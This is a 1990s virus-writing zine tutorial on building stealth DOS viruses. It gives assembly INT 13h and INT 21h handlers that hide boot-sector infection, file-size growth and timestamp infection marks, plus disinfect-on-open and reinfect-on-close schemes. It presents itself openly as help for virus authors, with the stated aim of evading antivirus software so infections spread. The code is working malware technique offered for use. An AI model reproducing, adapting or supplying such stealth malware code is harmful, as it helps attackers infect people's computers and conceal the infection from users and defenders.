S T E A L T H
a handy overview
by MGL/SVL
(exclusive for *-zine )

Contents:

1. Introduction
2. Definition and Principles
3. Requested Knowledge Base
4. Stealth for Boot viruses
5. Stealth for File viruses

- Semi stealth
- Mark stealth
- Full stealth
- True full stealth
- MCB stealth

1. Conclusion

I. Introduction.

In the very beginning of the computer viruses, when a virus was something very curious, there was no need to cover the fact of presence of a virus in files, memory or in boot sectors. But shortly after some people recognized, they can make money by removing viruses, the whole thing become much harder. Of course, there was no problem to code the virus itself, but the problem was to code such a virus, which could not be detected for at least some time by antivirus software. This time was essential for the virus to get in the wild. During the virus history, two basic technologies appeared - STEALTH and POLYMORPHISM. Both technologies are not unknown to the virus writing community and are used in the most succesfull viruses. Main goal of this article is to explain, how does stealth work and how to code a stealth virus.

II. Definition and principles.

The STEALTH is the acting by a quiet and secret way, in order to avoid detection or hiding the presence of something. In the case of a computer virus means the stuff above not only to hide the presence of a virus in the place of storage (file or disc sector) but desirably (only in some cases) also to avoid the detection by antivirus software. This could be done only by the absolute control of infected computer's operating system by the virus. Every critical function of operating system should be penetrated and its return(s) changed to the 'normal' values - the values, which one would receive without the presence of virus in the system.

III. Requested knowledge base.

To code really working steath virus is not a trivial task. The author has to be able to create and debug resident code - this is a must !!! The reason is very simple - WITHOUT RESIDENCY CAN'T VIRUS BE STEALTH. Debugging of resident code is very important. Stealth, that doesn't work is absolute lameness. Based on my own experiences, one of the best solutions for TSR debugging is Soft-Ice by Nu-Mega Technologies. With some minor exceptions is Soft-Ice also good for hacking. You 'll need some good description of operating system. In the case of MSDOS you have shitload of possibilities, but probaly the most acurate and most actuall description is the Interrupt List maintained by Ralf Brown. The actual version is now 53. Books 'Undocumented PC' and 'Undocumented DOS' are of good value for our purposes too. Besides the knoledges do not forget to reserve some time for coding and debugging. And now - the show can go on ...

IV. Stealth for boot viruses.

This case of stealth if the simplest one. We 'll have to work with whole sectors, and this is trivial task.

        Head
        | Track
        | | Sector
        | | |
        v v v
    .-----------.-----------.
    |   0/0/1   |   0/0/2   |
    '-----------'-----------'

Sector 0/0/1 is MBR in the case of hard drive, on floppy this sector is boot sector. When a boot virus infects this sector, the original contens is moved elsewhere. Let's say, the virus stores the original sector 0/0/1 to sector 0/0/7. This location is in the virus writing community kinda traditional, it is heritage of the Stoned virus. But you can select any other location. After saving the original MBR/boot sector, the virus places own copy to sector 0/0/1. Then, after rebooting, the copy of the virus in sector 0/0/1 will be loaded to memory at adress 0:7C00h and 'll be excecuted. Virus then allocates memory for memory own resident copy, moves itself to "preserved" memory location, always hooks interrupt INT 13h (in some cases also some other interrupts) and then loads and executes stored MBR/boot sector. Woow! the virus is mow resident in memory, and has gained control over INT 13h.

On every disk access virus gets control as first. This is not true in case of disk access using the ports - here the virus can be detected. The main task for viral INT 13h handler is to recirect any attempt to read/write to sector 0/0/1 (where the virus is located) to 0/0/7. Attempts to write to the sector 0/0/7 (now containing the stored MBR/boot sector) should be ignored. If someone 'll try to read sector 0/0/7, we 'll have to put zeroes to his buffer at ES:BX. Then the handler of INT 13h 'll be like this:

    int_13h_entry:
               pushf
               cmp dl,80h
               js  flopak  ; floppy or hard drive ?
                           ; this should hide the presence of
                           ; virus in the MBR
               push cx
               or dl,dl
               jnz  OK     ; head 0 ? If so, then if

               cmp cx,1
               jnz  OK     ;  track 0 sector 1, check critical
                           ;  functions

               cmp al,1
               ja OK       ;  stealth only when 1 sector read
               cmp ah,02h  ;  read
               jz  zvedavec
               cmp ah,0ah  ;  long read ( is not necessary )
               jz  zvedavec
               cmp ah,03h  ;  write
               jz write
               cmp ah,0bh  ;  long write (is not necessary )
               jnz OK
    write:
    zvedavec:  mov cl,7    ;  redirect R/W to stored MBR
    OK:        call emulINT13h
               pop cx      ; we call original INT 13h with "good
                           ; parameters and we return callers CX
                           ; which covers our tracks
               jmp short VRATsa

    flopak:   ....         ; here 'd be handled floppy access
              ....         ; similar to hard drive access
              ....
    VRATsa:
               popf
               retf 2
    emulINT13h:
               pushf
               call dword ptr cs:[original_INT13h]
               ret

But i have to say, this handle is not the perfect one. It doesn't handle the situation, when more than 1 sector is read or write. In such a case, this handler can be very "unfriendly". Moreover, this handler doesn't preserve the sector with stored MBR/boot sector. But to add such a code in not so hard and it is on you ... I have to say, thay only minority of viruses preserve the stored copy of MBR/boot sector. In most cases this copy 'll not be overwritten...

!!! IMPORTANT !!!

Preserve stored stuff !!!

V. Stealth for file viruses.

Number of file viruses with some stealth is greater than that of boot viruses. Principles of stealth for file viruses if as follows:

A. infected file has increased size. This size increas should be not visible.

B. majority of file viruses uses some change in size, or time stamp or whatsoever to mark the file as infected. This change should be :

- preserved
- not visible

C. any change in infected file should be not visible. This affects EXE header in the case of EXE files and initial JMP to virus body in the case of COM files, as well as any appended stuff to the file.

D. in the case of complex approach, the presence of memory hole, in which virus resides, should by also hidden.

Viruses, which handle points A+B+C(+D) are full stealth viruses. Viruses, which handles only point A are that so called semi-stealth viruses. Semi-stealth doesn't need a lot of code, and i 'll explain it first.

aa. SEMI - STEALTH

The main task for semi - stealth virus is to hide the size increase on infected files. This can be easily achieved by cutting the size in DTA after DOS Findfirst / Findnext operations. Such a virus 'll have to handle not only the most common INT 21H/4EH and INT 21H/4FH, used by utilities of type Norton / Volkov Commander, but also DOS FindfirstFCB / FindnextFCB - INT 21H/11H and INT 21H/12H used by DOS command DIR. When operating with FCB, we have to know, that there is difference between FCB and Extended FCB.

Some necessary stuff about DOS data structures you can find below.

    Format of File Control Block:

    Offset      Size      Description      (Table 0648)
     -7     BYTE       extended FCB if FFh
     -6   5 BYTEs      reserved
     -1     BYTE       file attribute if extended FCB
     00h    BYTE       drive number (0 = default, 1 = A, etc)
     01h  8 BYTEs      blank-padded file name
     09h  3 BYTEs      blank-padded file extension
     0Ch    WORD       current block number
     0Eh    WORD       logical record size
     10h    DWORD      file size
     14h    WORD       date of last write (see #0952 at AX=5700h)
     16h    WORD       time of last write (see #0951 at AX=5700h) (DOS 1.1+)
     18h  8 BYTEs      reserved (see #0649,#0650,#0651,#0652,#0653)
     20h    BYTE       record within current block
     21h    DWORD      random access record number (if record size is > 64 bytes, high
                       byte is omitted)

Note: to use an extended FCB, you must specify the address of the FFh flag at offset -7, rather than the address of the drive number field

    Format of FCB reserved field for DOS 3.x:
    Offset    Size      Description      (Table 0652)
     18h      BYTE      number of system file table entry for file
     19h      BYTE      attributes
                bits 7,6: 00 = SHARE.EXE not loaded, disk file
                        01 = SHARE.EXE not loaded, character device
                        10 = SHARE.EXE loaded, remote file
                        11 = SHARE.EXE loaded, local file or device
                bits 5-0: low six bits of device attribute word
    ---SHARE.EXE loaded, local file---
     1Ah      WORD      starting cluster of file on disk
     1Ch      WORD      (DOS 3.x) offset within SHARE of sharing record
                  (see #0924 at AH=52h)
     1Eh      BYTE      file attribute
     1Fh      BYTE      ???
    ---SHARE.EXE loaded, remote file---
     1Ah      WORD      number of sector containing directory entry
     1Ch      WORD      relative cluster within file of last cluster accessed
     1Eh      BYTE      absolute cluster number of last cluster accessed
     1Fh      BYTE      ???
    ---SHARE.EXE not loaded---
     1Ah      BYTE      (low byte of device attribute word AND 0Ch) OR open mode
     1Bh      WORD      starting cluster of file
     1Dh      WORD      number of sector containing directory entry
     1Fh      BYTE      number of directory entry within sector

Note: if FCB opened on character device, DWORD at 1Ah is set to the address of the device driver header, then the BYTE at 1Ah is overwritten.

    Format of FCB reserved field for DOS 5.0:

    Offset    Size      Description      (Table 0653)
     18h      BYTE      number of system file table entry for file
     19h      BYTE      attributes
                bits 7,6: 00 = SHARE.EXE not loaded, disk file
                        01 = SHARE.EXE not loaded, character device
                        10 = SHARE.EXE loaded, remote file
                        11 = SHARE.EXE loaded, local file or device
                bits 5-0: low six bits of device attribute word
    ---SHARE.EXE loaded, local file---
     1Ah      WORD      starting cluster of file on disk
     1Ch      WORD      unique sequence number of sharing record
     1Eh      BYTE      file attributes
     1Fh      BYTE      unused???
    ---SHARE.EXE loaded, remote file---
     1Ah      WORD      network handle
     1Ch      DWORD      network ID
    ---SHARE not loaded, local device---
     1Ah      DWORD      pointer to device driver header
     1Eh  2 BYTEs      unused???
    ---SHARE not loaded, local file---
     1Ah      BYTE      extra info
                bit 7: read-only attribute from SFT
                bit 6: archive attribute from SFT
                bits 5-0: high bits of sector number
     1Bh      WORD      starting cluster of file
     1Dh      WORD      low word of sector number containing directory entry
     1Fh      BYTE      number of directory entry within sector

Format of FindFirst data block:

/ taken from Ralf's Interrupt list /

    Offset      Size      Description      (Table 0913)
    ---PC-DOS 3.10, PC-DOS 4.01, MS-DOS 3.2/3.3/5.0---
     00h    BYTE      drive letter (bits 0-6), remote if bit 7 set
     01h 11 BYTEs     search template
     0Ch    BYTE      search attributes
    ---DOS 2.x (and some DOS 3.x???)---
     00h    BYTE      search attributes
     01h    BYTE      drive letter
     02h 11 BYTEs     search template
    ---WILDUNIX.COM---
     00h 12  BYTEs    15-character wildcard search  pattern and
                      drive letter (packed)
     0Ch    BYTE      search attributes
    ---DOS 2.x and most 3.x---
     0Dh    WORD      entry count within directory
     0Fh    DWORD     pointer to DTA???
     13h    WORD      cluster number of start of parent directory
    ---PC-DOS 4.01, MS-DOS 3.2/3.3/5.0---
     0Dh    WORD      entry count within directory
     0Fh    WORD      cluster number of start of parent directory
     11h  4 BYTEs     reserved
    ---all versions, documented fields---
     15h    BYTE      attribute of file found
     16h    WORD      file time (see #0951 at AX=5700h)
     18h    WORD      file date (see #0952 at AX=5700h)
     1Ah    DWORD     file size
     1Eh 13 BYTEs     ASCIZ filename+extension

The stategy for semi - stealth is very simple.

1. Allow the necessary call for operating system.
2. If error occured, bail out of the interrupt.
3. Get actual DTA.
4. Is the file executable ? If it isn't, return from interrupt.
5. Check the file for infection. If the file is not infected, return from interrupt.
6. Cut the file size in DTA and leave the handler.

    int_21:
               ....
               cmp ah,11h        ; this is a part of viral
                                 ; INT 21h handler
               je DIR_STEALTH
               cmp ah,12h
               je DIR_STEALTH
               cmp ah,4eh
               je DTA_STEALTH
               cmp ah,4fh
               je DTA_STEALTH
               ....              ; here handler continiues

    DIR_STEALTH:

            call    dos_emu      ; call original DOS handler of
                                 ; INT 21h

            pushf
            pusha
            push    ds,es
            or      al,al        ; was the call successfull?
            jnz     exit_size_fcb

            mov     ah,2fh
            call    dos_emu      ; get DTA adress to ES:BX
            push    es
            pop     ds
            cmp     byte ptr [bx],0ff
            jne     FCB_not_extended
            add     bx,7
    FCB_not_extended:
            call    test_4_executable
            jc      exit_size_fcb     ; if not executable, exit
            call    test_4_infection
            jc      exit_size_fcb     ; if not infected, exit
            call    test_min_size
            jc      exit_size_fcb     ; skip 2 small files

            sub     word ptr [bx+1dh],virus_size
            sbb     word ptr [bx+1fh],0

    exit_size_fcb:
            pop     es
            pop     ds
            popa
            popf
            retf    2

    DTA_STEALTH:
            call    dos_emu      ; call original DOS handler of
                                 ; INT 21h

            pushf
            pusha
            push    ds,es
            or      al,al        ; was the call successfull?
            jnz     exit_size_fcb

            mov     ah,2fh
            call    dos_emu      ; get DTA adress to ES:BX
            push    es
            pop     ds

            call    test_4_executable
            jc      exit_size_dta     ; if not executable, exit
            call    test_4_infection
            jc      exit_size_dta     ; if not infected, exit
            call    test_min_size
            jc      exit_size_dta     ; skip 2 small files

            sub     word ptr [bx+1ah],virus_size
            sbb     word ptr [bx+1ch],0

    exit_size_dta:
            pop es
            pop ds
            popa
            popf
            retf 2

As you may noticed, the code for DTA_STEALTH and DIR_STEALTH has a lot of the same stuff, and it could be possible to code it as one routine.

bb. MARK STEALTH.

To demonstrate the stealth of infection mark, here is some piece of code. It was designed for virus, which uses as mark seconds in timestamp = 28. This handler doesn't cover the situation, where someone tries to get timestamp. In the case of coplex approach, this situation can be hadled too. But the user most likely will not notice any change ... And so this code seems to be optimal.

    int_21:
               ....
               cmp ah,57h        ; this is a part of viral
                                 ; INT 21h handler
               je fn_time
               ....              ; here handler continiues

    fn_time:
          or al,al            ; get time ?
          je bye1             ; that we don't handle
          pusha
          push es
          call  test_4_executable
          jc fn_time_exit0      ; not executable , skip
          push cx
          call get_time
          jnc uninfected            ; infected ?
          pop cx                  ; yes
          mov ax,cx
          and ax,1f
          xor ax,0e
          je fn_time_exit0      ; 28 seconds ? then let him do it
          pop es
          popa
          push cx
          and cl,11100000b
          xor cl,0f
          jmp set_28            ; otherwise set always 28
    fn_time_exit0:
          pop es
          popa
          jmp bye1
    uninfected:
          pop cx
          mov ax,cx
          and ax,1f
          xor ax,0e            ; set 28 seconds ?
          jnz fn_time_exit0      ; no exit
    set_26:      pop es
          popa
          push cx
          dec cx                  ; set 26 seconds
    set_28:      call dosemu
          pop cx                  ; but show 28
          popf
          retf 2

    bye1:
          jmp dword ptr cs:[original_INT21h]

cc. FULL STEALTH

Semi - stealth is for full stealth virii a must. To get a working full stealth virus, there are two different ways.

- Desinfection on open / Reinfection on close type stealth.

- true full stealth

It is known fact, that to code virus of first type is much more easier as to code the virus of second type. To code viruses of both types requires some experiences, so the code which 'll follow is my well known "meta code".

ca. Desinfection on open / Reinfection on close.

Here is desired not only the desinfection on open and reinfection on close, but also desinfection on 4B01h - load and do not execute, which is used by some debugers to load file in the memory. Just for lamers i point to 2 imporant things:

- after desinfecting the file, you have lseek to the BOF !

- reinfection is prior to file close !

    int_21:
               ....
               cmp ah,3dh        ; this is a part of viral
                                 ; INT 21h handler
               je desinfect
               cmp ah,3eh
               je reinfect
               cmp ah,4bh
               je infect_file
               ....              ; here handler continiues

    infect_file:
               pusha
               push ds
               push es
               or al,al          ; 4B00h
               jnz next
               call get_bastard    ; infect file
    exit_exec:
               pop es
               pop ds
               popa
               jmp dword ptr cs:[original_INT21h]

    next:      dec ax
               jnz exit_exec
               call open_file_DS_DX ; 4B01h
               call desinfect1
               jmp short exit_exec
    get_bastard:
               ....              ; stuff deleted

               call_open_file_DS_DX
               jc exit_infect
    get_bastard_handle:
               ....              ; file infection here
               ....
    exit_infect:
               ret

    desinfect: call open_file_DS_DX
               pushf
               pusha
               push ds
               push es
               call desinfect1
               pop es
               pop ds
               popa
               popf
               retf 2

    desinfect1:

    comment ~
    Here you have to read the  saved stuff from infected file to
    some memory buffer. Then truncate the file to its uninfected
    size (by  writing 0 bytes to  file with file pointer  set to
    the  location, where  the uninfected  file had  EOF). And as
    last, restore the changed stuff from memory buffer and lseek
    to start of the file. Do  not forget, if you alway open file
    with  mode R/W  for any  DOS call,  you may  avoid nasty SFT
    manipulation when reinfecting the file on its closing.
    ~
             .....   ; some code :))))

Situation before file is closed is simple... We do not have file name, but we have file handle. So we can use part of code, which is desiged to infect files on execution.

    reinfect:
             pusha
             push ds
             push es
             call lseek_BOF
             call get_bastard_handle
             jmp exec_exit

cb. TRUE FULL STEALTH.

This is most difficult task for every coder (besides some kick-the-ass poly engine). As this problem is very complex, I 'll only explain, what one should do on all critical DOS functions.

- INT 21h / 4E,4F,11,12

Do just normal semi-stealth. But be carefull. In some cases, there is necessary to switch stealth off. Such a case is eg. the call of INT 21h/32h - Get DOS drive parameter block. Such a call is used by software like CHKDSK (all we know this for stealth viruses unfriendly program). To switch stealth on again, just wait for INT 21h/4ch.

- INT 21h / 4B01h,40h

This is no problem at all. Just desinfect the file. If you are using stealth with SFT manipulation ( SFT stealth ), you 'll have some minor (for someone major problem). But the the help is siple - refer to my "SFT stealth tutorial" for elegant solution. This tutorial you can find in the Insane Reality #8.

- INT 21h / 3Dh

If you are using SFT stealth, just cut the filesize in SFT here. Then noone can seek to the virus body, because DOS thinks, there is EOF in the location, where was EOF before virus body was appended. Otherwise do nothing.

- INT 21h / 42h

Do not allow to seek within the virus body. You have to correct all the seeking relative to uninfected filesize. Do not forget to handle all the methods (0,1,2). In other words, just manipulate CX and DX.

- INT 21h / 3Fh

This 'll be the most difficult part of code. As first check, where is the file pointer located. Just for better imagination, infected file looks like shown on Fig. 1.

        Fig.1
        .---------------------.------------------.------------.-------------.
        | Changed stuff       | Rest of infected | Virus body | Saved stuff |
        | EXE header, COM jmp |     file         |            |             |
        '---------------------'------------------'------------'-------------'

If the file pointer is within the "changed stuff", read to their memory buffer data, which should be there, if the file wasn't infected ( from file pointer position to the end of "changed stuff"). Then read the rest of requested amount of bytes. Any reading in the area marked as "rest of infected file" is not dangerous. But if you detect, that the read can reach the virus body, cut the read to "legal" size. ( If you 're using SFT stealth, you do not need to handle this. For DOS, the viral body doesn't exist :)))).

- INT 21h / 4Ch

Here you can control the execution of some programs. When you wan't to be sure, that some program really ends, you can do it like this.

- on INT 21h/4bh check the program name and store current PID, which is the same as PSP segment of current process.

- on INT 21h/4Ch compare the parents PID ( PSP:16) in current PSP (you can get it via mov ah,51h/ int 21h, result in BX). If this two values are same, the program ends.

- INT 21h / 57h

Here you can stealth the changes in the time stamp. Do not allow to set stamp to "mark" value, and you can avoid to get the "mark" value by INT 21h / 5700h.

dd. MCB STEALTH.

This part is very short. If you want to known the principles and basics, refer to MCB stealth by Darkman in VLAD #6

VI. Conclusions

A. Pro - stealth

- stealth efectively hides the presence of virus in infected files.

- in some cases stealth virus can spread faster with some lame AV software. (in the past, not now)

B. Contra - stealth

- majority of stealth viruses can be catched in memory by simple scanstring.

- to combine full stealth with variable lenght poly is very hard task.

- every stealth virus gives exact tutorial, how to remove itself. And this is very, very pitty.

C. Solution:

- The solution is TST. TST is trade mark, owned by Online. TST is Copyright (C) 1995-96 by Online. But i am afraid, you 'll have to wait for Online's next virus.

Some form of stealth is good in the beginning of infection. It helps to spread the virus. But on the other hand, stealth has some major disadvanteges.